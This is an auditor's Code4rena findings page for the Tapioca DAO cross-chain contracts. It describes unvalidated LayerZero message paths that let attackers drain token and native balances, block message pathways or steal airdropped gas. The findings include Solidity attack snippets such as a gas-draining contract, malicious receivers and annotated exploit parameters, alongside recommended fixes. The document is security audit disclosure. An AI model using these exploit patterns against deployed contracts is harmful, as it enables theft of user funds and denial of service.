Platform: Code4rena
Start Date: 05/07/2023
Pot Size: $390,000 USDC
Total HM: 136
Participants: 132
Period: about 1 month
Judge: LSDan
Total Solo HM: 56
Id: 261
League: ETH
Rank: 3/132
Findings: 10
Award: $16,166.83
🌟 Selected for report: 7
🚀 Solo Findings: 4
🌟 Selected for report: windhustler
Also found by: Ack
1512.5167 USDC - $1,512.52
Unvalidated input data for the exerciseOption
function can be used to steal all the erc20 tokens from the contract.
Each BaseTOFT is a wrapper around an erc20
token and extends the OFTV2
contract to enable smooth cross-chain transfers through LayerZero.
Depending on the erc20 token which is used usually the erc20 tokens will be held on one chain and then only the shares of OFTV2
get transferred around (burnt on one chain, minted on another chain).
Subject to this attack is TapiocaOFTs
or mTapiocaOFTs
which store as an underlying token an erc20 token(not native). In order to mint TOFT
shares you need to deposit the underlying erc20 tokens into the contract, and you get TOFT
shares.
The attack flow is the following:
exerciseOption
. Nothing is validated here and the only cost of the attack is the optionsData.paymentTokenAmount
which is burned from the attacker. This can be some small amount.exercise
function it is important that nothing reverts for the attacker.function exerciseInternal( address from, uint256 oTAPTokenID, address paymentToken, uint256 tapAmount, address target, ITapiocaOptionsBrokerCrossChain.IExerciseLZSendTapData memory tapSendData, ICommonData.IApproval[] memory approvals ) public { // pass zero approval so this is skipped if (approvals.length > 0) { _callApproval(approvals); } // target is the address which does nothing, but has the exerciseOption implemented ITapiocaOptionsBroker(target).exerciseOption( oTAPTokenID, paymentToken, tapAmount ); // tapSendData.withdrawOnAnotherChain = false so we enter else branch if (tapSendData.withdrawOnAnotherChain) { ISendFrom(tapSendData.tapOftAddress).sendFrom( address(this), tapSendData.lzDstChainId, LzLib.addressToBytes32(from), tapAmount, ISendFrom.LzCallParams({ refundAddress: payable(from), zroPaymentAddress: tapSendData.zroPaymentAddress, adapterParams: LzLib.buildDefaultAdapterParams( tapSendData.extraGas ) }) ); } else { // tapSendData.tapOftAddress is the address of the underlying erc20 token for this TOFT // from is the address of the attacker // tapAmount is the balance of erc20 tokens of this TOFT IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount); } }
The underlying ERC20
token for each TOFT
can be queried through erc20()
function, and the tapAmount
to pass is ERC20
balance of the TOFT
.
This attack is possible because the msg.sender
inside the exerciseInternal
is the address of the TOFT
which is the owner of all the ERC20 tokens that get stolen.
Validate that tapSendData.tapOftAddress
is the address of TapOFT
token either while sending the message or during the reception of the message on the remote chain.
Token-Transfer
#0 - c4-pre-sort
2023-08-08T03:21:58Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T16:47:34Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-27T20:16:05Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
Also found by: 0x73696d616f
1512.5167 USDC - $1,512.52
removeCollateral
-> remove
message pathway can be used to steal all the balance of the TapiocaOFT
and mTapiocaOFT
tokens in case when their underlying tokens is native.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
The attack needs to be executed by invoking the removeCollateral
function from any chain to chain on which the underlying balance resides, e.g. host chain of the TOFT.
When the message is received on the remote chain, I have placed in the comments below what are the params that need to be passed to execute the attack.
function remove(bytes memory _payload) public { ( , , address to, , ITapiocaOFT.IRemoveParams memory removeParams, ICommonData.IWithdrawParams memory withdrawParams, ICommonData.IApproval[] memory approvals ) = abi.decode( _payload, ( uint16, address, address, bytes32, ITapiocaOFT.IRemoveParams, ICommonData.IWithdrawParams, ICommonData.IApproval[] ) ); // approvals can be an empty array so this is skipped if (approvals.length > 0) { _callApproval(approvals); } // removeParams.market and removeParams.share don't matter approve(removeParams.market, removeParams.share); // removeParams.market just needs to be deployed by the attacker and do nothing, it is enough to implement IMarket interface IMarket(removeParams.market).removeCollateral( to, to, removeParams.share ); // withdrawParams.withdraw = true to enter the if block if (withdrawParams.withdraw) { // Attackers removeParams.market contract needs to have yieldBox() function and it can return any address address ybAddress = IMarket(removeParams.market).yieldBox(); // Attackers removeParams.market needs to have collateralId() function and it can return any uint256 uint256 assetId = IMarket(removeParams.market).collateralId(); // removeParams.marketHelper is a malicious contract deployed by the attacker which is being transferred all the balance // withdrawParams.withdrawLzFeeAmount needs to be precomputed by the attacker to match the balance of TapiocaOFT IMagnetar(removeParams.marketHelper).withdrawToChain{ value: withdrawParams.withdrawLzFeeAmount // This is not validated on the sending side so it can be any value }( ybAddress, to, assetId, withdrawParams.withdrawLzChainId, LzLib.addressToBytes32(to), IYieldBoxBase(ybAddress).toAmount( assetId, removeParams.share, false ), removeParams.share, withdrawParams.withdrawAdapterParams, payable(to), withdrawParams.withdrawLzFeeAmount ); } }
Neither removeParams.marketHelper
or withdrawParams.withdrawLzFeeAmount
are validated on the sending side so the former can be the address of a malicious contract and the latter can be the TOFT's balance of gas token.
This type of attack is possible because the msg.sender
in IMagnetar(removeParams.marketHelper).withdrawToChain
is the address of the TOFT contract which holds all the balances.
This is because:
lzReceive
so he is the msg.sender
._blockingLzReceive
there is a call into its own public function so the msg.sender
is the address of the contract._nonBlockingLzReceive
there is delegatecall into a corresponding module which preserves the msg.sender
which is the address of the TOFT.msg.sender
is the address of the TOFT contract, so we can maliciously transfer all the balance of the TOFT.It's hard to recommend a simple fix since as I pointed out in my other issues the airdropping logic has many flaws.
One of the ways of tackling this issue is during the removeCollateral
to:
adapterParams
params to be passed as bytes but rather as gasLimit
and airdroppedAmount
, from which you would encode either adapterParamsV1
or adapterParamsV2
.ETH-Transfer
#0 - c4-pre-sort
2023-08-09T06:58:17Z
minhquanym marked the issue as primary issue
#1 - 0xRektora
2023-09-01T16:16:59Z
#2 - c4-sponsor
2023-09-01T16:17:05Z
0xRektora (sponsor) confirmed
#3 - c4-judge
2023-09-29T20:42:49Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
3361.1482 USDC - $3,361.15
triggerSendFrom
-> sendFromDestination
message pathway can be used to steal all the balance of the TapiocaOFT
and mTapiocaOFT
` tokens in case when their underlying tokens is native gas token.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
The attack flow is the following:
triggerSendFrom
with airdropAdapterParams
of type airdropAdapterParamsV1 which don't airdrop any value on the remote chain but just deliver the message.adapterParamsV2
which are used to airdrop the balance from the destination chain to another chain to the attacker.struct LzCallParams { address payable refundAddress; // => address of the attacker address zroPaymentAddress; // => doesn't matter bytes adapterParams; //=> airdropAdapterParamsV2 }
sendFromData.adapterParams
would be encoded in the following way:function encodeAdapterParamsV2() public { // https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop uint256 gasLimit = 250_000; // something enough to deliver the message uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc. address attacker = makeAddr("attacker"); // => address of the attacker bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker); }
sendFromDestination
ISendFrom(address(this)).sendFrom{value: address(this).balance}
is instructed by the malicious ISendFrom.LzCallParams memory callParams
to actually airdrop the max amount allowed by LayerZero to the attacker on the lzDstChainId
.The core issue at play here is that BaseTOFT
delegatecalls into the BaseTOFTOptionsModule
and thus the BaseTOFT is the msg.sender
for sendFrom
function.
There is also another simpler attack flow possible:
sendFromDestination
passes as value whole balance of the TapiocaOFT it is enough to specify the refundAddress in callParams as the address of the attacker._refundAddress
.One of the ways of tackling this issue is during the triggerSendFrom
to:
airdropAdapterParams
and sendFromData.adapterParams
params to be passed as bytes but rather as gasLimit
and airdroppedAmount
, from which you would encode either adapterParamsV1
or adapterParamsV2
.// Only allow the airdropped amount to be used for another message ISendFrom(address(this)).sendFrom{value: aidroppedAmount}( from, lzDstChainId, LzLib.addressToBytes32(from), amount, callParams );
ETH-Transfer
#0 - c4-pre-sort
2023-08-09T06:57:47Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T16:13:11Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-29T20:42:55Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
3361.1482 USDC - $3,361.15
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442 https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52
This is an issue that affects BaseUSDO
, BaseTOFT
, and BaseTapOFT
or all the contracts which are sending and receiving LayerZero messages.
The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s
sendToYAndBorrow
.
This function allows the user to mint/borrow USDO
with some collateral that is wrapped in a TOFT
and gives the option of transferring minted USDO
to another chain.
The attack starts by invoking sendToYBAndBorrow
which delegate calls into BaseTOFTMarketModule
.
If we look at the implementation inside the BaseTOFTMarketModule
nothing is validated there except for the lzPayload
which has the packetType of PT_YB_SEND_SGL_BORROW
.
The only validation of the message happens inside the LzApp
with the configuration which was set.
What is restrained within this configuration is the payload size
, which if not configured defaults to 10k bytes.
The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend
implementation.
I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.
I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.
To execute the attack we need to pass the following parameters to the function mentioned above:
function executeAttack() public { address tapiocaOFT = makeAddr("TapiocaOFT-AVAX"); tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}( address from => // malicious user address address to => // malicious user address lzDstChainId => // any chain lzChainId bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything ICommonData.IWithdrawParams calldata withdrawParams, // can be anything ICommonData.ISendOptions calldata options, // can be anything ICommonData.IApproval[] calldata approvals // Elaborating on this below ) }
ICommonData.IApproval[] calldata approvals
are going to be fake data so max payload size limit is reached(10k). The target
of the 1st approval in the array will be the GasDrainingContract
deployed on the receiving chain and the permitBorrow = true
.
contract GasDrainingContract { mapping(uint256 => uint256) public storageVariables; function permitBorrow( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external { for (uint256 i = 0; i < 100000; i++) { storageVariables[i] = i; } } }
Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.
Transaction is successfully received inside the lzReceive
after which it reaches _blockingLzReceive.
This is the first external call and according to EIP-150
out of 1 million gas:
The cost of saving a big payload into the failedMessages
and emitting events is higher than 15k.
When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:
// SPDX-License-Identifier: Unlicense pragma solidity ^0.8.19; import "forge-std/Test.sol"; import "forge-std/console.sol"; contract FailedMessagesTest is Test { mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages; event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason); function setUp() public {} function testFMessagesGas() public { uint16 srcChainid = 1; bytes memory srcAddress = abi.encode(makeAddr("Alice")); uint64 nonce = 10; bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes bytes memory reason = getDummyPayload(2); uint256 gasLeft = gasleft(); _storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason); emit log_named_uint("gas used", gasLeft - gasleft()); } function _storeFailedMessage( uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload, bytes memory _reason ) internal virtual { failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload); emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason); } function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) { bytes memory payload = new bytes(payloadSize); for (uint256 i = 0; i < payloadSize; i++) { payload[i] = bytes1(uint8(65 + i)); } return payload; } }
If we can drain the 985k gas in the rest of the execution since storing failedMessages
would fail the pathway would be blocked because this will fail at the level of LayerZero and result in StoredPayload
.
Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for _nonblockingLzReceive
the _executeOnDestination
is invoked for the right packet type and there we have another external call which delegatecalls into the right module.
Since it is also an external call only 63/64 gas is forwarded which is roughly:
This 970k gas is used for borrow
, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside the executeOnDestination
which also fails due to 15k gas not being enough, and finally, it fails inside the _blockingLzReceive
due to out of gas, resulting in blocked pathway.
_executeOnDestination
storing logic is just code duplication and serves no purpose.
Instead of that you should override the _blockingLzReceive
.
Create a new storage variable called gasAllocation
which can be set only by the owner and change the implementation to:
(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));
While ensuring that gasleft() > gasAllocation
in each and every case. This should be enforced on the sending side.
Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation
needs to be big enough to cover storing max payload size.
This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract
. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:
IERC20[] memory rewardTokens
as an array of one award token which is our malicious token which implements the ERC20
and ISendFrom
interfaces.Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens)
there are no reverts in case the rewardToken
is
invalid we can execute the gas draining attack inside the sendFrom
whereby rewardTokens[i]
is our malicious contract.
DoS
#0 - c4-pre-sort
2023-08-09T05:50:07Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-09-01T16:04:44Z
0xRektora (sponsor) confirmed
#2 - c4-judge
2023-09-29T20:30:00Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
Also found by: 0x73696d616f
1512.5167 USDC - $1,512.52
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L99
This is an issue that affects all the contracts that inherit from NonBlockingLzApp
due to incorrect overriding of the lzSend
function and lack of input validation and the ability to specify whatever adapterParams
you want.
The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params.
All the invocations of lzSend
inside the TapiocaDao contracts naively assume that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want.
As a showcase, I have set up a simple contract that implements the NonBlockingLzApp
and sends only 30k gas which reverts on the destination chain resulting in StoredPayload
and blocking of the message pathway between the two lzApps.
The transaction below proves that if no minimum gas is enforced, an application that has the intention of using the NonBlockingApp
can end up in a situation where there is a StoredPayload
and the pathway is blocked.
Transaction Hashes for the example mentioned above:
The attacker calls triggerSendFrom
and specifies a small amount of gas in the airdropAdapterParams(~50k gas).
The Relayer delivers the transaction with the specified gas at the destination.
The transaction is first validated through the LayerZero contracts before it reaches the lzReceive
function. The Relayer will give exactly the gas which was specified through the airdropAdapterParams
.
The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit}
is the gas the sender has paid for.
The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive
function and the message pathway is blocked, resulting in StoredPayload
.
The objective of the attack is that the execution doesn't reach the NonblockingLzApp
since then the behavior of the NonBlockingLzApp
would be as expected and the pathway wouldn't be blocked,
but rather the message would be stored inside the failedMessages
The minimum gas enforced to send for each and every _lzSend
in the app should be enough to cover the worst-case scenario for the transaction to reach the
first try/catch which is here.
I would advise the team to do extensive testing so this min gas is enforced.
Immediate fixes:
This is most easily fixed by overriding the _lzSend
and extracting the gas passed from adapterParams with _getGasLimit
and validating that it is above some minimum threshold.
Another option is specifying the minimum gas for each and every packetType and enforcing it as such.
I would default to the first option because the issue is twofold since there is the minimum gas that is common for all the packets, but there is also the minimum gas per packet since each packet has a different payload size and data structure, and it is being differently decoded and handled.
Note: This also applies to the transaction which when received on the destination chain is supposed to send another message, this callback message should also be validated.
When it comes to the default implementations inside the OFTCoreV2
there are two packet types PT_SEND
and PT_SEND_AND_CALL
and there is the available configuration of useCustomAdapterParams
which can enforce the minimum gas passed. This should all be configured properly.
There are many occurrences of this issue in the TapiocaDao contracts, but applying option 1 I mentioned in the mitigation steps should solve the issue for all of them:
lzSend
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L101 - lzData.extraGas This naming is misleading it is not extraGas it is the gas that is used by the Relayer.
sendFrom
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142 - This is executed as a part of lzReceive but is a message inside a message. It is also subject to the attack above, although it goes through the PT_SEND
so adequate config should solve the issue.
lzSend
sendFrom
lzSend
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L108
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L181
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L274
sendFrom
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312
https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/MagnetarV2.sol#L268
DoS
#0 - c4-pre-sort
2023-08-07T14:27:08Z
minhquanym marked the issue as duplicate of #841
#1 - c4-judge
2023-09-29T20:25:12Z
dmvt marked the issue as selected for report
🌟 Selected for report: peakbolt
Also found by: Kaysoft, carrotsmuggler, cergyk, windhustler, xuwinnie
254.4518 USDC - $254.45
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205-L267 https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190-L252
This is an issue that affects BaseUSDO
and BaseTOFT
through various message/packet types since they delegatecall into various modules and all the complex execution is wrapped in a big try/catch block, so if any part of the logic fails the whole message gets stored in the failedMessages
.
The impact is that user cannot access his TOFT
tokens in cases where the failed message retry keeps on reverting due to the changed state of the system.
This is most likely to occur in cases where the passed data on the home chain can get outdated pretty quickly, which is the case in sendForLeverage
since there is swapping on a DEX involved.
I will illustrate the issue on a single example.
sendForLeverage
function on the BaseTOFT
contract.lzReceive
and the logic of leverageDown
is being executed.leverageInternal
can fail due to various reasons.failedMessages
and it can only be retried with the exact same payload.The exact same issue is present in BaseUSDO's
leveraging logic
.
But also anywhere in the code whereby there is a revert and the user is not getting his shares back. I've noted all the occurrences of this issue at the end of the report.
As an immediate solution in case the whole delegatecall has failed just transfer the TOFT
tokens to the user without reverting.
if (!success) { if (balanceAfter - balanceBefore >= borrowParams.amount) { IERC20(address(this)).safeTransfer(_from, borrowParams.amount); } // remove the revert }
As a broad architectural recommendation, think about using a different way of storing failedMessages
, the default way offered by LayerZero was intended for much simpler payloads.
The setup the protocol has is quite complex. Another recommendation is to not wrap a bunch of different logic in one big try/catch.
But try to split it into several steps so if let’s say the final withdrawal to another chain fails it does not revert the swapping and steps before that.
Consider using something like https://github.com/weiroll/weiroll which would chain multiple operations.
Error
#0 - c4-pre-sort
2023-08-06T03:53:30Z
minhquanym marked the issue as duplicate of #1410
#1 - c4-judge
2023-09-18T16:31:12Z
dmvt marked the issue as satisfactory
🌟 Selected for report: windhustler
1008.3444 USDC - $1,008.34
Most of the packetTypes, when received on the remote chain, are supposed to send a message to another chain.
To send that callback message usually a certain amount of gas is airdropped to a remote chain to execute that message.
If we look at the reception logic for leverageUp
the airdropped amount is supposed to be transferred to the address of the TapiocaOFT
contract.
This is an issue because if anything reverts here the airdropped amount is left sitting in the USDO
contract and can be stolen by a bot.
This is rather a common occurrence through the codebase and usually, in case of a revert the airdropped amount will be left in the USDO
, TapOFT
, or MagnetarV2
contracts, and in all these places it can be stolen by a bot.
There is a high likelihood of this occurring quite often because it takes (1-5 min. or more) for a Relayer to deliver a message to the remote chain during which the airdropped amount might not be sufficient to execute the callback message, or something else can revert.
I have already described the issue in the impact section and here I will describe how a bot can steal the airdropped amount.
The bot can use the same message pathway, e.g. sendForLeverage
-> leverageUp
to steal all the balance of the USDO
contract.
sendForLeverage
function with a very small amount of USDO
, e.g. that is his cost of attack.ISwapper(externalData.swapper).buildSwapData(..)
, ISwapper(externalData.swapper).swap(...)
, ITapiocaOFTBase(externalData.tOft).wrap(...)
.ITapiocaOFT(externalData.tOft).sendToYBAndBorrow{value: address(this).balance}
this would need to be the address of his malicious contract which implements the sendToYBAndBorrow
and would just receive the address(this).balance
.contract MaliciousReceiver { function sendToYBAndBorrow( address _from, address _to, uint16 lzDstChainId, bytes calldata airdropAdapterParams, IBorrowParams calldata borrowParams, ICommonData.IWithdrawParams calldata withdrawParams, ICommonData.ISendOptions calldata options, ICommonData.IApproval[] calldata approvals ) external payable { // do nothing } }
If speed is of importance here the attacker can even pull off a more sophisticated attack which would do the following:
leverageUp
function, and it would fail due to the following mechanism:contract MaliciousReceiver { bool drainGas = false; function sendToYBAndBorrow( address _from, address _to, uint16 lzDstChainId, bytes calldata airdropAdapterParams, IBorrowParams calldata borrowParams, ICommonData.IWithdrawParams calldata withdrawParams, ICommonData.ISendOptions calldata options, ICommonData.IApproval[] calldata approvals ) external payable { if (!drainGas) revert(); } function setDrainGas(bool _drainGas) external { drainGas = _drainGas; } receive() external payable {} }
setDrainGas(true)
on the malicious contract. And monitors if any of the user's transactions are failing, and then he can instantly on the same chain just retry his message through retryMessage and steal all the balance.This is a more broad architectural issue of the codebase which I discussed in my analysis review, and it goes back to the fact that airdropped gas tokens do not belong to the user. An immediate fix would be to in the case of function revert to send the airdropped amount back to the user. This can be inserted in the following [place]:(https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L375-L397)
function _executeOnDestination( Module _module, bytes memory _data, uint16 _srcChainId, bytes memory _srcAddress, uint64 _nonce, bytes memory _payload ) private { (bool success, bytes memory returnData) = _executeModule( _module, _data, true ); if (!success) { if (address(this).balance != 0) { (bool sent, ) = msg.sender.call{value: address(this).balance}(""); if (!sent) { // emit an event } } _storeFailedMessage( _srcChainId, _srcAddress, _nonce, _payload, returnData ); } }
Anywhere in the code where address{this}.balance
or msg.value
is passed to the _lzSend
if it fails it will remain in that contract and can be stolen. I haven't set up a case for stealing airdropped balances of TOFT contracts, since there is a more serious attack there which I described in my other issues.
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L192-L193 - if execution fails in the MagnetarMarketModule
contract it will be left sitting in the TOFT or in the MagnetarV2 contract depending on where it was airdropped.
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L205 - This assumes that the airdropped value is inside the MagnetarV2 contract since there is a withdrawal to other chain option, and if everything fails the airdropped token is left in the MagnetarV2
contract.
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229 - This same message pathway can be used to steal any balance of BaseTapOFT contract since try twTap.claimAndSendRewards(tokenID, rewardTokens)
doesn't revert if rewardTokens are not valid tokens, e.g. are just some malicious contract.
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312
If the gas tokens remain as the balance of the MagnetarV2 contract the easiest way to steal them is to call withdrawToChain
since it can be set up so asset is a malicious contract which just receives value.
Other
#0 - c4-pre-sort
2023-08-09T07:10:57Z
minhquanym marked the issue as primary issue
#1 - c4-sponsor
2023-08-25T17:02:17Z
0xRektora marked the issue as sponsor confirmed
#2 - c4-judge
2023-09-30T14:36:21Z
dmvt marked the issue as selected for report
🌟 Selected for report: windhustler
Also found by: SaeedAlipoor01988, bin2chen, peakbolt, rvierdiiev
132.315 USDC - $132.31
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L127-L146 https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L536-L550
Packet type PT_TAP_EXERCISE
always reverts due to not passing properly the msg.value
to the final destination contract.
When first sent out it will revert and be stored inside failedMessages
and the user is not able to retry the message.
The user losses gas and TOFT
tokens by using this function.
LayerZero is a messaging protocol that enables the delivery of payload from chainA to chainB.
The sender specifies and pays for the destination gas and has the option of airdropping native gas tokens into an address on the destination chain. This is done through relayer params.
The Relayer invokes the validateTransactionProofV2 function on the destination chain to deliver the payload.
The airdropped value is not part of the msg.value
but is delivered as address(this).balance
on the destination contract. Also, the validateTransactionProofV2
function doesn't revert if airdropped tokens are not sent to the destination contract. It just emits an event, so the assumption always has to be that nothing is airdropped in the worst case.
(bool sent, ) = _to.call{value: msg.value}(""); //require(sent, "Relayer: failed to send ether"); if (!sent) { emit ValueTransferFailed(_to, msg.value); }
The flow of the issue is the following:
PT_TAP_EXERCISE
and he cannot airdrop any native tokens since adapterParamsV1 are enforced.tapSendData.withdrawOnAnotherChain
is true after exercising the option the tapOFT tokens are tried to be sent out to another chain. The problem is that the sendFrom
is missing {value: address(this.balance)
and the transaction reverts.sendFrom
function inside the BaseOFTV2 and the underlying _send function in OFTCoreV2
.
We can see that the _lzSend
relies on the msg.value
. However, in this case msg.value
is always 0.failedMessages
mapping, the user can never retry it because it would always fail due to the same reason of not having sendFrom{value: address(this).balance}
.In my other issue, I have elaborated on the issues of airdropping users' tokens into TOFT's contract balance. It should be avoided. But the immediate fix for this issue is:
Add the option of airdropping tokens into the exerciseOption
through adapterParamsV2 as it is done for many other packet types.
Add the value to the sendFrom
external call.
ISendFrom(tapSendData.tapOftAddress).sendFrom{value: address(this).balance}( address(this), tapSendData.lzDstChainId, LzLib.addressToBytes32(from), tapAmount, ISendFrom.LzCallParams({ refundAddress: payable(from), zroPaymentAddress: tapSendData.zroPaymentAddress, adapterParams: LzLib.buildDefaultAdapterParams( tapSendData.extraGas ) }) );
This exact same issue occurs while exercising option through BaseUSDO and when it is received on the other chain through the exercise function. This would also result in loss of USDO tokens and gas for the user.
initMultiHopBuy results in loss of airdropped tokens since no USDO is burned in this case.
This function offers the option of airdropping tokens through airdropAdapterParams but when it is received on the remote chain it invokes multiHopBuyCollateral
on the Singularity
contract which expects msg.value.
Thus, the whole thing would revert and be saved inside failedMessages
mapping. And since the {value: address(this).balance}
is missing in the multiHop the user cannot retry the message.
initMultiSell suffers from the same issue I just described above. The user would lose gas and airdropped tokens. {value: address(this).balance}
is missing from multiHopSellCollateral function.
Payable
#0 - c4-pre-sort
2023-08-09T06:44:16Z
minhquanym marked the issue as duplicate of #1199
#1 - c4-judge
2023-09-21T11:33:13Z
dmvt changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-09-21T11:35:12Z
dmvt marked the issue as selected for report
#3 - c4-sponsor
2023-11-15T21:33:15Z
0xRektora (sponsor) confirmed